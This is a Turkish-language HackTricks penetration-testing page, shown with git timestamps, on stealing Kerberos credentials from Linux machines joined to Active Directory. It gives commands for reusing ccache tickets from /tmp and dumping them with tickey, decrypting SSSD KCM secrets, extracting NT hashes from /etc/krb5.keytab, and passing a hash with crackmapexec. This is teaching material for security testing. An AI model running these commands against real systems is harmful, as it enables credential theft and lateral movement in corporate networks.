hacktricks/linux-hardening/privilege-escalation/linux-active-directory.md

131 lines
9.2 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# Linux Active Directory
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
Bir Linux makinesi aynı zamanda bir Active Directory ortamında bulunabilir.
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
Bir AD içindeki bir Linux makinesi, **farklı CCACHE biletlerini dosyalarda depolayabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için, biletin kullanıcı sahibi veya **makinedeki root** olmanız gerekmektedir.
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
## Sorgulama
2022-10-22 14:44:59 +00:00
2024-02-10 18:14:16 +00:00
### Linux üzerinden AD sorgulama
2022-04-18 15:59:47 +00:00
2024-02-10 18:14:16 +00:00
Linux'ta bir AD'ye erişiminiz varsa (veya Windows'ta bash), AD'yi sorgulamak için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) kullanabilirsiniz.
2022-04-18 15:59:47 +00:00
2024-02-10 18:14:16 +00:00
Linux üzerinden AD'yi sorgulamanın **diğer yollarını öğrenmek için** aşağıdaki sayfayı kontrol edebilirsiniz:
2022-10-22 14:44:59 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
### FreeIPA
2024-02-10 18:14:16 +00:00
FreeIPA, öncelikle **Unix** ortamları için Microsoft Windows **Active Directory**'ye bir açık kaynaklı **alternatif**tir. Active Directory'ye benzer şekilde yönetim için bir MIT **Kerberos** Anahtar Dağıtım Merkezi ile birleşik bir **LDAP dizini** içerir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi**'ni kullanarak **çok faktörlü** kimlik doğrulama, akıllı kartlar da dahil olmak üzere destekler. Unix kimlik doğrulama süreçleri için SSSD entegredir. Daha fazlasını öğrenmek için:
2022-10-22 14:44:59 +00:00
{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## Biletlerle Oynamak
2022-10-22 14:44:59 +00:00
2024-02-10 18:14:16 +00:00
### Bileti Geçir
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
Bu sayfada, bir Linux ana bilgisayarında **kerberos biletlerini bulabileceğiniz farklı yerleri** bulacaksınız, aşağıdaki sayfada bu CCache bilet formatlarını Kirbi'ye (Windows'ta kullanmanız gereken format) dönüştürmeyi ve ayrıca bir PTT saldırısı gerçekleştirmeyi nasıl yapacağınızı öğrenebilirsiniz:
2021-10-27 15:52:57 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
2021-10-27 15:52:57 +00:00
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### /tmp'den CCACHE bilet yeniden kullanımı
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
CCACHE dosyaları, Kerberos kimlik bilgilerini **saklamak için kullanılan ikili formatlardır** ve genellikle `/tmp` dizininde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **`krb5cc_%{uid}`** ad biçimine sahiptir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalı ve yeniden kullanımını etkinleştirmelidir.
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
Geçerli kimlik doğrulama için kullanılan biletin listesini `env | grep KRB5CCNAME` komutuyla alabilirsiniz. Format taşınabilir ve bilet, `export KRB5CCNAME=/tmp/ticket.ccache` komutuyla ortam değişkeni ayarlanarak **yeniden kullanılabilir**. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir, burada uid kullanıcı UID'sidir.
2021-10-27 15:52:57 +00:00
```bash
2024-02-07 04:06:18 +00:00
# Find tickets
2021-10-27 15:52:57 +00:00
ls /tmp/ | grep krb5cc
krb5cc_1000
2024-02-07 04:06:18 +00:00
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
2021-10-27 15:52:57 +00:00
```
2024-02-10 18:14:16 +00:00
### Anahtar halkasından CCACHE biletinin yeniden kullanımı
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
**Bir işlemin belleğinde depolanan Kerberos biletleri**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`), çıkarılabilir. Bu amaçla kullanışlı bir araç, [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur ve oturumlara enjekte ederek biletleri `/tmp` dizinine döker.
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir:
2021-10-27 15:52:57 +00:00
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
2024-02-07 04:06:18 +00:00
/tmp/tickey -i
2021-10-27 15:52:57 +00:00
```
2024-02-10 18:14:16 +00:00
Bu işlem, çeşitli oturumlara enjekte etmeyi deneyecek ve başarılı olduğunu, çıkarılan biletleri `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla saklayarak belirtecektir.
2024-02-07 04:06:18 +00:00
2024-02-10 18:14:16 +00:00
### SSSD KCM'den CCACHE bilet yeniden kullanımı
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
SSSD, veritabanının `/var/lib/sss/secrets/secrets.ldb` yolunda bir kopyasını tutar. Karşılık gelen anahtar, varsayılan olarak yalnızca **root** izinlerine sahipseniz okunabilir olarak saklanır ve `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak depolanır.
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
`SSSDKCMExtractor`'ı --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **şifreleri çözecektir**.
2021-10-27 15:52:57 +00:00
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
2024-02-10 18:14:16 +00:00
**Kimlik bilgisi önbelleği Kerberos blogu**, Mimikatz/Rubeus'a iletilmek üzere kullanılabilir bir Kerberos CCache dosyasına dönüştürülebilir.
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
### Anahtar tablosundan CCACHE biletinin yeniden kullanımı
2021-10-27 15:52:57 +00:00
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
2024-02-10 18:14:16 +00:00
### /etc/krb5.keytab dosyasından hesapları çıkarın
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
Kök ayrıcalıklarıyla çalışan hizmetler için önemli olan hizmet hesabı anahtarları, güvenli bir şekilde **`/etc/krb5.keytab`** dosyalarında saklanır. Bu anahtarlar, hizmetler için şifreler gibi sıkı bir gizlilik gerektirir.
2021-10-27 15:52:57 +00:00
2024-02-10 18:14:16 +00:00
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar ayrıntılarını, özellikle anahtar türü 23 olarak tanımlandığında kullanıcı kimlik doğrulaması için **NT Hash**'i görüntülemek için tasarlanmıştır.
2024-02-07 04:06:18 +00:00
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
2021-10-27 15:52:57 +00:00
```
2024-02-10 18:14:16 +00:00
Linux kullanıcıları için, **`KeyTabExtract`** işlevselliği sunar ve NTLM hash yeniden kullanımı için kullanılabilecek RC4 HMAC hash'inin çıkarılmasını sağlar.
2021-10-27 15:52:57 +00:00
```bash
2024-02-10 18:14:16 +00:00
python3 keytabextract.py krb5.keytab
2024-02-07 04:06:18 +00:00
# Expected output varies based on hash availability
2021-10-27 15:52:57 +00:00
```
2024-02-10 18:14:16 +00:00
macOS üzerinde, **`bifrost`** anahtar tablosu dosyası analizi için bir araç olarak hizmet verir.
2021-10-27 15:52:57 +00:00
```bash
2024-02-07 04:06:18 +00:00
./bifrost -action dump -source keytab -path /path/to/your/file
2021-10-27 15:52:57 +00:00
```
2024-02-10 18:14:16 +00:00
Çıkarılan hesap ve hash bilgileri kullanılarak, **`crackmapexec`** gibi araçlar kullanılarak sunuculara bağlantılar kurulabilir.
2021-10-27 15:52:57 +00:00
```bash
2024-02-07 04:06:18 +00:00
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
2021-10-27 15:52:57 +00:00
```
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-07 04:06:18 +00:00
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
2021-10-27 15:52:57 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>